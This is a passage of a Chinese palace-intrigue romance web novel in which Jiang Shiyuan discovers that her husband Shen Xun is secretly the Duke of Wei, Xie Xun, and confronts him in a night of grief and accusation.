狱卒见谢循一言不发,一张脸隐藏在骇人的罗刹面具之后,莫名有些不安。 狱卒被左右官吏拖走,他极力想握住谢循的衣袂,“魏国公,救我,救我。”,却抓了个空,痛苦凄惨之声愈来愈淡,直至消失… 无关之人散去,庭中只余二人,是君臣,也是旧友。 仅是走下石阶的几步,祁钰都极致虚弱,几近花甲老人的蹒跚。宛如残卷枯叶,生命即将飘零。 祁钰强撑着走到谢循面前,抬手摘去他的面具。 阴翳慢慢淡去,露出男子的五官,如祁钰所想一致。其容清隽,眸色如月,唇色浅淡,如雪中孤鹤,清冷孤绝。 祁钰曾问过谢循是否孤寂,谢循说他从未感觉过何为孤独,他从无至亲,生来就是一人,习惯杀戮,也从不知人情冷暖。、 而他祁钰如今再看谢循,却知孤鹤难飞,被情字牵绊。 情字一事,或喜或悲。 而无情之人动心情爱,却与世人不同,只剩两路,或生或死。 祁钰如今再问:“如今在本宫面前的,是沈浔,还是谢循?” “臣谢循见过殿下。”,谢循行跪拜之礼。 祁钰泪中带笑,又在大喜之时,大咳出血沫,单跪在地上,喘息不止。 谢循想去扶他,而庆国储君自有傲骨,至死不示软骨,他颤颤地站起身,拿出绢帕擦着嘴角的血渍,道:“阿循,你我皆心知肚明,本宫其命如日薄西山,寿数将近。暗河一日不除,本宫始终不敢阖眼。” “殿下…”谢循出声。 祁钰仔细四叠巾帕,殷色被层层覆盖,透出粉白。 “如今暗河浮出水面,算计群臣,暗杀皇子,但本宫却始终不明白他们所求是什么?他们为何要这庆国的江山,而暗河阁主又是何人,他为何能只手独建暗河,又为何会武功超绝,又为何懂易容之术?” “本宫怀疑,这一切都跟…早已亡国的楚国息息相关。” “哪怕是本宫身死消亡,你也定要查清此事,护我庆国千秋万代!” “谢循遵命。” 阿愿已自证清白,眼下也不需谢循担心,他来不及仔细处理伤口,又乘驷马车拜访左相府。 这是恢复记忆之后,谢循初次面见左相。 谢循收敛心绪,杀意巧妙地隐藏在这面具之后。他看似充满敬意、畏惧跪在左相的脚下,一番添油加醋编造姜时愿是如何隐藏关键凶器,又是不知用了何种手段勾结上了祁钰为她亲临天牢,审理此案,如今又是如何风光地无罪释放。高山流水的琴音倏然戛然而止,一丝尖锐的断弦之声震彻耳膜。 左相的心境不再,无法再心平气和地扶琴:“祁钰小儿,又是他。早知那时在马天坝之时,老夫就该派人直接杀了他,而非用蛊,倒叫他苟延残喘至今。” 谢循淡声:“将死之人,义父不必放在眼中。” “祁钰大限将至,圣人膝下子嗣不盛。储君一死,大庆必举国动荡,太子一党也必将随之分崩离析。那时正是暗河可以暗中将细作埋入六部之时。”“届时,朝野半数均是暗河之人,九五之位也难保狗皇帝一命。” 左相捋着山羊胡,看着眼前的‘影子’,约莫觉得他仿到谢循之城府,大赞叫好。 昔日,他创办暗河的目的就是为了培养杀手,掠杀劫财,积累资本,又可借他们的手除去朝廷高官。而后他成为左相进入朝堂,再度栽培起属于自己的势力。 内外兼修,大势已备,庆国河山将危。 “此事就交给你去办,皆不可再让本相失望。”左相捻着手上的佛珠,眸色深深。 谢循领命,笑道:“还请义父放心,定不会让您失望。” 韦江已从狱卒口中撬出实情,大骇,连忙命人解开姜时愿双手的枷锁,还她无罪之身。 韦江又搬出苦情 套戏码,鼻涕一把,泪一把,哭到自己上有老下有小,都是被小人蒙蔽,这才冤枉了姜司使,还请姜时愿不要迁怒于他的家人。 姜时愿看着韦江眼泪纵横的样子,按捺住笃笃的心跳,再三犹豫后,问道:“我当真可以从天牢出去了吗?” 韦江都已经命人将枷锁取下,牢门打开,还跪下求饶,这不明摆着吗? 他不知姜时愿何意,解释道:“对啊,姜司使,你的冤情已清,下官哪敢再关着你呀?” “要不韦大人再想想?”姜时愿试探性的问道。韦江急得在地上磕头,“姜司使就莫要再摧残下官的良心了,还请快快出狱!” 比起嬷嬷,她刺伤谢循,这才是更重的罪责,难逃一死。而如今韦江却似好像从未听到过风声般。 为何谢循没有就此事发难呢?为什么谢循会饶她一命?她心乱如麻,猜不透谢循的心思。 韦江赔笑心虚地哄着姜时愿先行褪下囚服,又说天牢之外有人等她多时。接着,命小吏端来她刚进入天牢时穿戴的官服、腰带、香囊。 姜时愿的目光扫过紫檀盘,发现自己所带来的物品唯有一个不见踪影——那便是她夫君的青玉。 她蹙着眉头问着青玉的去向。 “姜司使可说的是刻着沈字的那枚青玉坠子?那枚坠子啊,魏国公从狱卒的手中要了去,如今怕是还是国公的手中……”还未说完,小吏的屁,股蛋子就狠狠挨了韦江一脚踹,骂道就小吏话多。 “又是魏国公?” 姜时愿轻喃,他为何要拿走沈浔赠于她的坠子? 不等他多想,韦江带着姜时愿走出天牢。 夕阳西沉,霞光如绸缎般铺展开,落在江畔之上,波光粼(。江畔两人,一位青年和一位少年并肩而立,清隽的身影落在青石板路上,余辉皆为他们而驻足,纯净而又美好。 看见来人,少年的唇角微微翘起,逆着光影,朝着姜时愿跑来。 等身影愈近,她才看清朝她跑来的少年手里拿着一只刚折好的草兔,迫不及待地递到姜时愿的手上,撅着嘴,垂着头:“这个草兔送你,草木吸晦,让你去去牢狱的晦气。当然,一码归一码,你喂…沈浔断子绝孙汤的事情,我日后再找你算账。”夕阳的余辉映在袁黎的侧脸,勾勒出已快分明的下颌线。 袁黎忽然拉着姜时愿,朝着江畔旁的青年靠近:“快走,快走。沈浔说今天要带我们去甜江月饱餐一顿。” “不过,事前说好,我没有银子,该你和沈浔付。”袁黎忽然羞涩地低下头,满脸涨红:“偷偷告诉你,你不在的这段时间,我已经会背三字经了。” “你不用夸我,我知道我很聪明。”“沈浔说依我这个脑子,来年甲子,没准也能考个榜眼。” 袁黎强拉着姜时愿朝着江畔而去,青年的面容愈发清晰,迎着夕阳的余辉,眉目如画,唇角微扬,清朗霁月。 袁黎将两人凑在一起,推着姜时愿靠近谢循,绣着荷花样的绣鞋被迫揶揄几步,不小心踩上他的鞋履。 姜时愿下意识后撤,却被他反手勾着腰,轻轻拥她入怀。手臂紧环,额间相抵,气息交缠。 她的夫君出奇的温柔:“阿愿,我来接你回家了。” 袁黎再次见此,已不避讳,却仍然觉得不好意思,用手捂着脸,从指缝之中偷看。可是他意料之中的亲吻,并没有来临。 方才,姜时愿一靠近,她便嗅出她夫君身上极浓的香味。她的眸光觑向他蹀躞带上悬挂的香囊。 今日,真是奇怪,她的夫君从不爱染香,更别说挂什么香囊。她的夫君更不喜香,何况还是用味道如此浓郁的紫夙香。 他用这么浓的香,究竟是为了遮掩什么? 114.114 宝马雕车香满路,凤箫声动【1】。 天牢之中,度日如年,以至于姜时愿都已算不准今日的朝夕。 直至黄昏淡去,夜放千树梨花,袁黎牵着她来到的朱雀街,见锣鼓喧天,舞狮矫健,远处戏台之上,传来婉转戏曲和连连喝彩,她才心念着,今夜是何节曰? 街衢之上,高悬红灯,人烟如织。 一位手挽花篮的老妇,攒着满篮山茶花来到姜时愿的身旁,劝到姑娘可要买束花?老妇见姜时愿不为所动,袁黎又被两旁摊贩糖画泥人所吸引,只好将目光移向模样清隽的公子,又说道:“公子,为您家夫人买束花吧。” 经此一点,姜时愿这才想起来,今日乃是一年一度的迎宵节。 迎宵是庆阖家团圆,岁岁今朝之节。怪不得城中百姓皆涌入朱雀街,不只是看辉煌灯彩,更是为了在满城烟花下许下花好月圆之愿景。 谢循从花篮中选了一只不艳不淡的茶花,簪到姜时愿的发髻上,五指从青丝之间一顺而下,恋恋不舍。 他望着姜时愿,眼里俱是浓情蜜意,赞到很美,又望着河畔旁的无数男女在花灯上题下对方的名字,而后目送着水流送走花灯。 谢循生来反常,与世人格格不入,不敬神佛,也从不祝愿祈祷。而今日他却出奇地想这么做一次,想和阿愿一起融入喜气之景。 老妇看出公子心思,介绍到:“这乃是流传百年的习俗了….” 谢循细细地听着老妇讲述,“两心相悦的男女若共同在河边放下荷花灯,荷花灯飘至银河之尽头,便会得到月下老人的红线牵引。”“红线拴两头,此生鸾凤和鸣,不会分离,恩爱白首。” 谢循闻之心念一动,却又有些羞赧,刚犹豫着要怎么开口。 姜时愿也同时在想看如何寻个不会被怀疑的理由拒绝,她捏着夫君的衣袖,声音轻如蚊呐,“明年再来也不迟,眼下还是去去甜江月吧,你都没听见袁黎的肚子都已经叫了几轮了。” “我才没有,我看是你肚子饿了,却不好意思承认吧。”袁黎嘴里嚼着糖葫芦。 好在谢循并无觉得不妥,三人到了甜江月,袁黎轻车熟路地丢下一锭金子,要了间楼上的雅阁落座。 小厮跑来斟茶,刚想着如何介绍自己酒楼的糕点,袁黎却跟个熟客一般都尚未仔细瞧过楼下悬挂的木牌,便对甜江月的糕点了如指掌,一连报出数道菜名,就连小厮都调侃到小公子莫不是常客吧。 姜时愿闻之并无多言,而后看着小厮陆续端上来枣泥酥、一品酥、水晶糕、翠玉豆糕等摆盘满桌,袁黎更是一看刚出蒸笼的桂花糕就眼睛放光,拿着筷子当即给姜时愿夹了一块,又接着给谢循夹了一块:“快尝尝,你不是最喜欢甜江月的桂花糕了,从前总是一天三餐,顿顿不离桂花糕,非要喊我…”袁黎粗心大意,差点说漏了嘴,好在谢循最是沉稳,事不关己般呷了一口浓茶,檀木桌下腿膝暗暗碰了一下袁黎。 袁黎又急忙跟着姜时愿解释道:“对….那段时间沈浔双手筋脉寸断,总是灌不进药,所以老是喊我来买桂花糕代替蜜饯用…” 袁黎眨巴着大眼睛,还欲画蛇添足,又被谢循暗中提点。 姜时愿虽不知桌下玄妙,但也佯装没有察觉到袁黎话中失言之处,谢到那段时间多亏了袁黎照顾,又喊着小厮多打包了几盒桂花糕带了回去。 回去典狱的路上,袁黎见小摊繁多,贩售琳琅满目的道具数不胜数,兴奋雀跃。 谢循怕姜时愿手累,提过糕点,改而轻轻牵起她的手穿梭烟火之中,姜时愿柔顺一笑,回握着他的手,越过布满欢声的人群。 而她却不可遏制地回想起,和魏国公初见之时,他允她一烛香的时间并早就猜出她的意图是要去盛家求救,也推敲出她会路过甜江月。他当时问自己,“我猜想到姜娘子会去盛府,其途会路过甜江月,顺路正好可带一和盒桂花糕给谢某。”忽然姜时愿斜眼觑到一家小摊绫罗摆着无数制作精巧的面具,她牵着夫君来到小摊前,谢循笑问不知阿愿还有此番兴致?姜时愿嗓音娇软,说着你就当是陪我圆圆童趣,说着就选了一只兔儿面具戴上。 而到了给夫君选择的时候,姜时愿却起了犹豫,几息犹豫之后,她拿起一只半黑半白的恶鬼面具隔空挡在谢循脸上。 那一刻,面具盖住他的面容,她脑海中的青鬼罗刹之面和眼前之景慢慢重叠,独留给她心底最直观的恶寒。 姜时愿强忍指尖的颤抖,强忍四肢百骸乃是内心涌出的战栗苦涩,连忙放下面具,平息着双眸将要崩溃的泪意。她几度深深呼吸,又要强撑着露出无事发生的笑意,又选了一只狐狸面具递给谢循,眉开眼笑:“阿浔,还是这个面具适合你。” 姜时愿不知自己是如何浑浑噩噩地回到典狱。 只记得深夜,谢循拥她入怀,相拥而眠。 她闻着夫君身上熟悉的冷梅香,却不知自己该相信什么,又该怀疑什么? 她虽知道她的夫君满腹谎言,身份不明。却从未有一刻把沈浔’与谢循联系在一起。 魏国公,谢循,和她的夫君近乎一样。最喜欢甜江月的桂花糕。身上有着一样的冷梅香。还有,戴上面具之后的仪容。 会不会是她多疑了? 可天下哪有这么巧的事情? 姜时愿想到初入典狱春试之时,她的身边站着夫君沈浔,而她的眼前乃是宿敌谢循。她相信一个人会有易容之术,但绝不相信会有分身之能。 姜时愿怕着今日的多番试探会引得夫君怀疑,所以一连数日她都关在一处修整卷宗。这也是魏国公派陆不语传来的命令。 青龙阁的卷宗年久失修、积攒已久,陆不语说魏国公早有修整之意,只不过一直未能找到最合适的人选,如今觉得姜时愿是能担此要务之人。陆不语几度难言,又不得不开口:“魏国公还说,旧案为重,如果姜司使一日不能整理完青云阁的旧案,便一日不能离开典狱。” 旧案冗长,数量庞大,且年代久远,残页断章。修整起来实属不易,费时,费心。 姜时愿粗略算算,最快整理完旧案也要半年。而圣人给予大理寺重审兄长旧案的时间仅有三月…. 陆不语原以为姜时愿会不平,会怒火如炽,没想到她如今平静地接下命令。 不如说魏国公此举正在姜时愿的意料之中,天牢中的设计陷害没能关住她。他自是不会善罢甘休,更不会让她能有机会接触到兄长的案子,遂又以公务为理由将她关在典狱。 姜时愿日夜埋首在青云阁之内,整理旧案,重抄卷宗。而她的夫君每日忙于公务要案,每至深夜才会返家。 姜时愿看着夫君总是小心翼翼地讨好自己,帮自己揉捏着白日抄写到酸胀发僵的手腕,又每夜替她誉抄卷宗至翌日的黎明。 在姜时愿看来,她的夫君总是对她怀疑愧意。誉抄此举,半数是惜她、怜她之意,半数又似在赎罪,是在为魏国公颁下的苛责命令而自责、愧对。 梨树开花,渡来飘香,素白的花瓣顺着支摘窗飘至姜时愿的眼前。 她葱玉指尖掐着娇嫩花瓣,又看向迎宵节时夫君为她簪的那朵山茶花,纵使她已经用心放在水中浇养,妄图留住春华,却依然抵不过物是人非、天地因果。 山茶花终究慢慢地枯了。腐败霉色慢慢啃食着仅剩不多的美好。 腐烂,是落花的结局。只是惜花之人,不肯放手,罢了。也是她一直困于迷境,不肯清醒,罢了。 思及此,姜时愿心念所动,撸起带着水珠儿的山茶花,看着残花随风飘走,不去理会落花入泥的结局。 姜时愿来到伏魔殿,她向左右司使以修整旧案中遇到问题为由求见魏国公开解。 不知为何左右司使皆已换成了生面孔,他们念及她的官职,自是不敢多加阻拦的,只是说着魏国公眼下仍在皇城之中,恐怕要让她在殿中久等,姜时愿轻声说道无事。” 左右司使帮姜时愿推开厚重的青铜门,殿内部更是森冷无比,入目三分的恶鬼佛像之下悬挂着残破的铜灯,蜡黄灯油已经淅淅沥沥淌在青砖之上。 分明是白日,更格外阴森,如同人间地狱,让姜时愿脚底生冰,寸步难移。明明有如此危险的信号,而她非要一探究竟,去探查这殿内的一切,寻找能将一切谜题窜来起的蛛丝马迹。姜时愿来到黄花梨翘头案前,看见几上食盒中敞开发冷的桂花糕,又在紫檀嵌云石小几上寻到了被饮到一半的茶水。她端起茶杯轻嗅,雪山君茗,也正是她夫君最喜欢的口味 倏然,池中的鲤鱼似有所感,鱼尾戏水,哗啦哗啦的水声潺潺。 姜时愿临近池潭,却听见水池之下传来细微低沉的呻吟。 这叫声凄惨、哀嚎,跟十八狱中被束缚的恶徒如出一辙。 她又见池潭的深度略有低微,不符合工部所建的常规。 莫非池潭之下,别有洞天? 姜时愿四处寻找机关,在推动喷水虎首之后,地面大震,斗转星移,池潭移开,露出一条通向地底黑暗无穷的隧道。 姜时愿拿出火折子,小心探下,地面暗红的血迹驳驳,一路引导着她走向深渊。 凄惨叫声愈来愈近,骇得她内心狂颤不已。 这里关着的人是谁? 恶徒,罪人,那又为何不关押在十八狱,为何魏国公又要单独关押他? 在这暗室之内,连同姜时愿的呼吸也变得沉重、压抑。 她听见远处时而传来低低啜泣,时而又传来亢奋之声,时而又成为着喃喃之声,疯魔不已。 在黑暗的尽头,她看见一个人蜷缩在暗室中央,衣不蔽体,毫无尊严。身上无一块完整的皮肉,布满新旧交错的伤口。 那名男子浑身上下唯有脸还算安好无恙,双手紧紧护着怀中的一块青铜,口中语无伦次。 “你休想,你修养夺走我的位置,我就是谢循.…我是谢循!我生来本就是谢循!魏国公之位是我的…不是你的….” 姜时愿心神惧震,惊愕失色,连忙以袖捂住口鼻。 奈何她的讶然还是被影子听到,影子惊觉回头,大呵:“是你!姜时愿!” 影子发了疯似猛兽般冲来,冲到姜时愿的眼前,又被脖子上的锁链倏然扼住,寒铁深深嵌进他枯槁的皮肤之中。 而影子不顾痛苦,双眸殷红,叫喊到:“你怎么还没死!我会沦落至此,这一切都是因为你!”“为什么,你究竟是得了天神哪门子的庇护。我明明命顾辞和嬷嬷杀了你,为何你为何每次都能死里逃生 ?” “为什么!” 影子歇斯底里令姜时愿错愕不已。 “你究竟在说什么.…我从未见过你,也从未与你结仇,你为何要杀我?”“你难道看不出来吗?”影子仰天大笑,“我是谢循.…我是谢循啊!” 姜时愿颤着声:“你胡说…魏国公此刻分明还在庆宫,你究竟是谁!”“我就是谢循!”影子怒极,嘴皮子都在抖动。 影子拿起被他护着极好的青铜,那是用以瓷片雕刻出的青鬼面具,虽是简陋粗鄙,而影子却如同享受天恩般戴在自己的脸上,也不顾这尖锐的铜铁划伤他的脸颊。他死死按着青铜,享受着合二为一的快乐。 “我就是谢循…姜时愿,你瞧啊,我就是谢循!”“我就是权倾天下的魏国公!” “你疯了….”姜时愿连忙退后几步,想逃离这诡谲之地。 而影子的声音又忽然直转凄凉,“我分明是谢循的影子,但为何我始终就是仿得不像呢…”“到底是哪里出了问题,为什么我又不是他!” 姜时愿怔怔地止住脚步,回望着身后那个不人不鬼的怪物,呐呐发问:“什么意思?” 影子流下两行泪水,“我,没有名字。我,也没有价值。我活着的唯一使命,就是成为谢循的影子。” “我好不容易等到了属于我的光,我逃脱阴暗,成为谢循。可是…为什么?” 影子看着姜时愿,神色复杂,“你为什么要让谢循回来,为什么要让他夺走属于我的位置。” “他做沈浔,我做谢循,不好吗?” 【1】选自辛弃疾《青玉案·元夕》 115、115... 姜时愿双目无神,四肢皆僵,从伏魔殿归来之后,她已经浸在浴桶中数个时辰,长到雾气散尽,水温渐冷,转为蚀骨的冷意摧残着她几欲破碎的心。 即使是亲如枕边人,她也从未片刻看清过她的夫君。她的夫君,沈浔,是个彻头彻尾的骗子,满腹谎言,千方算计。 她的夫君隐瞒了来时路,狠心除去了许多知晓他秘密的人,才将‘沈浔”的身份坐稳。他不惜手段,以谎言为戏本,为她打造出高楼戏台,一曲唱罢将歇一曲又将临场,她却始终如台下看客,深入戏中。 沈浔? 姜时愿念及二字,悲痛的声音从银牙之间渗出。 自叹、自嘲着自己的愚蠢。 她该如何称呼她的夫君? 是四绝之一的魑? 还是应该恭恭敬敬福身在他眼前,尊称一句“魏国公”? 思及此,姜时愿一径摇头,懊悔至极,一切因果起缘都错在观音庙中初遇,她不该救下谢循,更不该对他动心,与他结为连理。她取木瓢舀水,冰透的冷水从头顶浇下,欲洗净冲刷她所犯下的识人不清之罪。她又觑向自己的冰肌玉骨,想起和谢循的交缠,徒生作呕,心如万般蚁虫啃食。她抓来皂角又取木刷,狠狠洗净,初见血色也不肯停歇,恨不得将自己脱胎换骨,重新来过。 越洗她愈发觉得脏,哪哪都想起曾被谢循落下过吻痕,她扒扶在桶边痛哭,不停地在责问自己,也不停地在寻求出路。 “兄长….,求求你泉下有知告诉阿愿,阿愿该怎么办啊…阿愿大错特错,万死难辞…”“阿愿该怎么结束这一切…,求你告诉我。” 如今,她飘零在活在这个世上,已无双亲,已无亲人。唯一的挚爱,也由慰藉化为刀刃,刺入她的心。 夜幕降至,月华凄凉,映照在榻边女子的玉容之上,神色戚戚,泪悬软睫,欲坠不坠。凄凉月色慢慢滑移在她的唇瓣上,那滴泪才化为口脂点缀唇间。 姜时愿的眸光中的波澜逐渐平静。再次抬眼之间,寒星四射。 姜时愿双手紧攥着匕首,心中似有了决断之意。 夜风轻摇,嘎吱一声,谢循携凄风入内。 见厢房幽深,没有点灯,他似乎也没想到姜时愿今夜会早睡,他蹑着步子,走入内室,却见她站在支摘窗上素手深入瓷碗,慢搅水面,水声泠泠。 姜时愿感觉到熟悉的梅香逼近,并未回头,然后感觉到身后之人拥她入怀,动作轻柔,抵着她的颈间轻蹭,温声唤着她阿愿。 姜时愿感慨到:“迎宵节时你送我的山茶花,纵使我小心将养着,可还是枯了….” “还会迎来下一个迎宵节。不,或者,不等明年,阿愿喜欢的话,我明日便去给你买。”谢循安抚道。 姜时愿扼着心中的酸涩,强迫着自己强颜欢笑,许下下一朝夕的约定。可纵使谢循怎么寻,她所求的那一朵,终究是寻不到了。 花毁情灭。 半晌沉默之后,她听见了谢循小心地试探:“阿愿,我听说你今日去了伏魔殿,你可是去找了魏国公?你为何要去寻谢循,你可有…”察觉到什么,这半句话他终究不敢说。 今日从皇城归来时,就听左右司使说姜时愿曾特意来伏魔殿中寻过自己,谢循闻言内心难安,细细询问他们出佛魔殿之后姜时愿的神色可有异常?左右司使皆摇头说着姜司使一切如常。如今哪怕寻常的举动,也如潜伏的火线时刻挑动着谢循的心弦,他战栗着、畏惧着,一切令他点火的因素….所以今日,他才会如此患得患失。 “是,我去伏魔殿,但并不是为了公务。”姜时愿指尖在水面浅浅画圈,感觉到谢循环在自己腰间的手骤然一紧,她装作毫无察觉,继续说道:“阿浔,你可能还不知道,天牢之时,魏国公拿走了你送我的青玉。那枚青玉是你沈氏祖传,对你极为重要,我怎么能让它落入谢循那贼人的手里。我想帮你要回,可惜等至黄昏,也不见谢循的身影。” 姜时愿幽幽转身,伸手抚摸他的鬓角,牵起笑容:“你放心,我一定会帮你要回青玉的。” 姜时愿回得如此坦率,满眼真诚,让谢循举棋不定的心终于落下安稳。如若阿愿接着以公务之名堵他的口,谢循自是不信的。他又听阿愿谈及佛魔殿,更毫无忌惮地谈及殿中池鱼,这才松下警惕,会心一笑。谢循如珍视之物失而复得般欣喜,吻上姜时愿的唇。如鱼渴水,如丝如缕,愈深愈难分。 万籁俱寂,不知时辰。 分离之时,二人唇齿之间还有银丝相连,谢循望之心神俱醉,欲罢不能 这一月来积攒已久的火翻滚、灼热,他明知不可为,却还是被邪念乱了分寸,欲.念露骨展示。姜时愿察觉异动,谢循亦有所感,想要避之暂退,才不会铸成大错。可他刚想压抑离开,又被温香之气包裹。已在眼前,姜时愿怎可让他逃,反身后环住谢循的脖颈,渡送蜜意。 谢循回应其吻,愈发不可自控,反手撑扶在几上的十指皆屈,帮着他分担心中压抑的煎熬。奈何食髓知味,身心皆沉在温柔乡。 半推之间,谢循又听阿愿呢喃之语,如勾人的魅鬼。 “阿浔,你难道不想.要.我吗?” 闻之,谢循双眼明亮如星。他怎会不想?怎会不愿?他想得都快疯了。 听着姜时愿的嘤.咛之声,秋波明送,彻底断送谢循的理智,他忽然俯身抱起阿愿,顺手解下轻纱帷帐。 夜香旋昵,香软馥郁。 厢房内暗淡无光,而他却轻车熟路地将一件件薄纱拽在掌心之中,轻轻一拉,系带皆松,露出阿愿薄如蝉翼的蝴蝶骨,欺身吻上。 帐内无一丝光亮,视线被剥夺,姜时愿只能凭着触觉,柔荑刚覆上他的胸膛,冰凉温感就让谢循 在烈火灼烧之间恢复一丝理智,他拽下发带,捆住她的双腕,吻意更加凶悍,欺得她翻身。哪知阿愿咬牙不肯,与他意愿相对,非要顺着他的腿.膝坐.上。 谢循能感觉他的阿愿,不再如外表乖顺。 他已觉不安,可万分难退。难退翻.云.覆.雨的情意,更难退阿愿为亲手赠他的蜜意。哪怕是裹着糖衣的砒霜,他也照饮不误,甘之如饴。 谢循觉得自己大抵只离疯魔一步之遥,情.意浓长,小意温吞,谢循为这具身.躯神魂倾倒之时。 姜时愿勾着他的脖子,吻也慢慢游离其下,吻过他的刀伤、剑伤,更是慢慢吻上他锁骨下两指的四处疮痍,泪意流下。 那滴泪如仙人指引,叫她一路顺着咸淡的泪珠移下。在泪最终消失的位置,她的唇瓣抵上了一处凹凸不平的疮痍。 那处疤痕不似旧伤陈旧,它甚至不能被称之为疤痕。旧伤之上鲁上新伤,千疮百孔,年轻地留有皮肉翻卷的痕迹。哪怕谢循刻意地将这伤痕做大、做深,碾碎原有的伤形,覆上新的一层利器伤痕遮掩。 可他好像低估了姜时愿作为仵作的能力。她最会还原每一具身躯上的伤痕因何而来。哪怕有意掩饰,她也能撕碎层层虚伪,还原真相。 更何况,这个伤是因姜时愿而来,是她亲手所赐。她怎会不认得。 姜时愿终于心如死灰,再不争辩,再不自欺欺人,泪意不绝,顺着他的肩头,绝情呵道:“出去!” 夜色暗人,遮去她脸上的冷漠,而谢循却仿佛看了个清楚,怔怔地抚摸上姜时愿的脸颊 “阿愿…”谢循惊诧,小声讨好,又被厉声打断,“出去!” 这一声如当头一棒猛砸谢循心间,他六神无措,他不知如何应对阿愿如此突变且又陌生的情绪。 谢循没有丝毫犹豫,退出沉沦之中,说着“我是不是弄疼你了阿愿…我错了,以后再也不敢忘形了”,并伸手将阿愿搂入怀中,温柔安抚,承诺着绝无下次。 怀中之人微颤,声泪俱下,无情推开他。“你不配碰我,你不配!”“你让我觉得前所未有的恶心。” 所有变故皆在雷雨之夜爆发,一声惊雷劈下,亮如白昼,映亮姜时愿满眼的恨意。这眼神,他曾无数次在作为魏国公和阿愿交锋时见过,至死不敢忘.… 而如今阿愿双眸含恨再现,是对他作为‘沈浔’之时。谢循思绪皆断,整个人木木的。 情爱、美好在急速分崩离析,被姜时愿亲手撕开的真相毁灭殆尽,谢循不敢承受,他伸出手想要擦去姜时愿眼角的泪痕,却被她不留情地打落。 “你究竟是谁?” 声音冷淡,言语为剑,狠狠扎向谢循。 沉默的夜风,凄凉无比。他无法回答这个问题,内心煎熬酸苦,无援无助。 “你是不是还要骗我…”姜时愿紧咬贝齿,“你瞒了我整整三年,整整三年…你究竟还想要瞒我多久….” "三年,全是谎言、全是欺骗、全是算计。" “你当然也可以继续骗我,告诉我你就是沈浔…你为何一言不发?你倒是继续骗我啊,与这三年间一样…” 姜时愿看着他,想起三年间的朝夕相处胸臆如堵,“我累了,我很累…累到不想再陪你作戏,不想在谎言之中活着,更不想再这样不清不楚地被你蒙蔽” “阿浔,我求你放过我…”这即将是最后一次她唤他阿浔,“你若真的爱我,又怎会舍得让骗我欺我,看着我活在谎言之中悲痛煎熬…” “你若爱我,就请赠我清醒,还我真实。” 她言辞不稳,话音哽咽,几近哀求,"告诉我,你究竟是谁?" 谢循也跟着泪湿青衫,他知道这一切因果皆是因自己而起。 他不该制造观音庙的初遇,从一开始就不该将姜时愿罗列入自己的计划,更是不可预料自己会动心,明知相悦会带来悲痛,他却还是贪恋一时蜜意,因一己之私,害得阿愿万劫不复。 千错万错,错皆在他。他一个罪人,实在无颜再留住春华。 谢循看着阿愿,心痛至极。嗓音喑哑。 "我是你的夫君。"“谢循。” “对不起…阿愿…”道歉在此刻都显得苍白无力,谢循低头啜泣,带着无尽的悔意,“对不起,我一直瞒你骗你.…我生来无名,后来到了暗河成为魑,才有了名。后来,我 又成为魏国公,才有了姓。”“姓为谢,名为循。”喉中溢有腥血之味,谢循失声,“我是谢循….” 谢循一字一字打碎血咽,明明白白告诉阿愿他的名字,告诉他恨不得舍弃又被逼无奈拾起的名字。 哪怕沉痛的真相早已在姜时愿心中上演过无数遍,依旧不妨碍眼下的撕心裂肺之痛。这痛比之从前还要痛上百倍、千倍,让她恨不得以自己的死去抚平这不该存在的痛。 姜时愿失望落泪,脑中唯有一个想法,她要离开这里。她不愿意再听他说,更不愿再见他 姜时愿如抽掉所有力气,悲痛欲绝,行尸走肉般走下榻,握着裙衫,泣不成声。她忘了自己是如何还能有条不紊地穿上罗衣,不知自己怎么还有力气逃离,只是再即将离门之时,才察觉自己竟然忘了穿绣鞋。她临门,感受着推门而涌来的风雨落在自己的脸上。 “谢循…魏国公.…”她哽咽着,酸涩失笑,甚至一个眼神都没有留给谢循,身影伶停地朝着雨夜走去。 谢循急急地追下榻,一同淋在雨夜之中,跟在倩影之后,唤着阿愿,说着千错万错他会承担,求她转身,求她肯舍自己一言,而眼前的女子充耳不闻,一袭青衣被雨水侵湿。 雨夜如墨,银丝雨犹如一道屏隔绝二人。 谢循也头一次感觉到窒息的感觉,体会到比蛊虫还窒息的痛苦。 他的挽回、愧意是多么的无助,眼前这个陌生的阿愿令他害怕,他不知道阿愿要去哪里,不知她要做什么,隐有一种割裂难安的悲痛之感。 “阿愿,我爱你。你要怪我、罚我,都可以,我只求你再舍我一眼…” 谢循挡着她的面前,为她遮去滂沱的雨势,伸手去擦拭她脸上的泪雨交织,温柔倍至,又显手足无措。而姜时愿安静的、毫无生气地任他摆弄,黑眸失神,良久之后,才冷冷撤脸。 她如残花在雨夜中摇曳。 搬出她今夜苦思冥想都始终无解的问题。 “你叫我如何收场你我之间的因和果?”姜时愿将同样炙烤的问题抛给谢循。 她愿哽咽难言,慢慢软下身,跪在雨夜之中,仿佛是在忏悔她的所犯下的罪孽。谢循亦悲痛,折碎所有尊严,随着阿愿一道双膝皆跪了下来,将她轻轻拥入怀中。姜时愿满是抗拒,不停地推他、打他、咬他, 逼他放开,她极其厌恶他给的一切,也同样厌恶自己。 “你口口声声说爱我,却甘愿让我活在虚假之中,看着我不明就里跟着你成为夫妻。”她银牙狠狠咬进谢循的皮肉,宣泄着自己的恨,“谢循分明知道我此生最恨的人就是你,你为什么要这么残忍,要用世间最痛的方法去惩罚我!" 他们之间不仅是简单的爱恨羁绊,还有着最不可化解的仇。 是姜家的仇。 姜时愿质问谢循,狠狠咬去他的血肉,眼泪混在腥血一起。 "你要我如何面对我九泉之下的兄长,更让我如何面对姜氏全族!"血海深仇在她胸腔内翻涌不止,她沦为了背叛姜家的罪人,谈及三年苦心经营的复仇都变得滑稽、可笑。 她是要数清谢循曾犯下的罪孽:“你忘了吗!是你亲审我兄长的谋杀之罪!” “你可知,你一句姜淳谋杀燕王证据确凿,我们姜氏遭遇了什么?” “我的兄长姜淳沦为罪臣,尸骨无法入葬,曝尸荒野。甚至,我至今无法祭拜兄长,不能为他烧纸祭奠,因为他是谋杀燕王的罪臣!“ 她崩溃着,紧攥着谢循的衣袍,“告诉我,我的兄长何罪之有,告诉我,我的姜氏族人又何其无辜!” 姜时愿痛及心扉,敲着自己疼痛交织的胸口,“是你亲定的罪责,是你害得我的兄长被千夫所指,是你害得我亲眼目睹姜家被抄。” “你分明知道,是你害得我没有家了,也是害你姜家三代忠良沦为群臣的笑柄,被世人痛骂!” “谢循!”往事历历在目,折磨着她的心智,她大吼,“你明知我恨你,也比谁都清楚这三年我是怎么依靠着恨意活下去的,你却欺我瞒我,看着我慢慢沦为姜家的罪人,将身心都交给害我全家的你。” 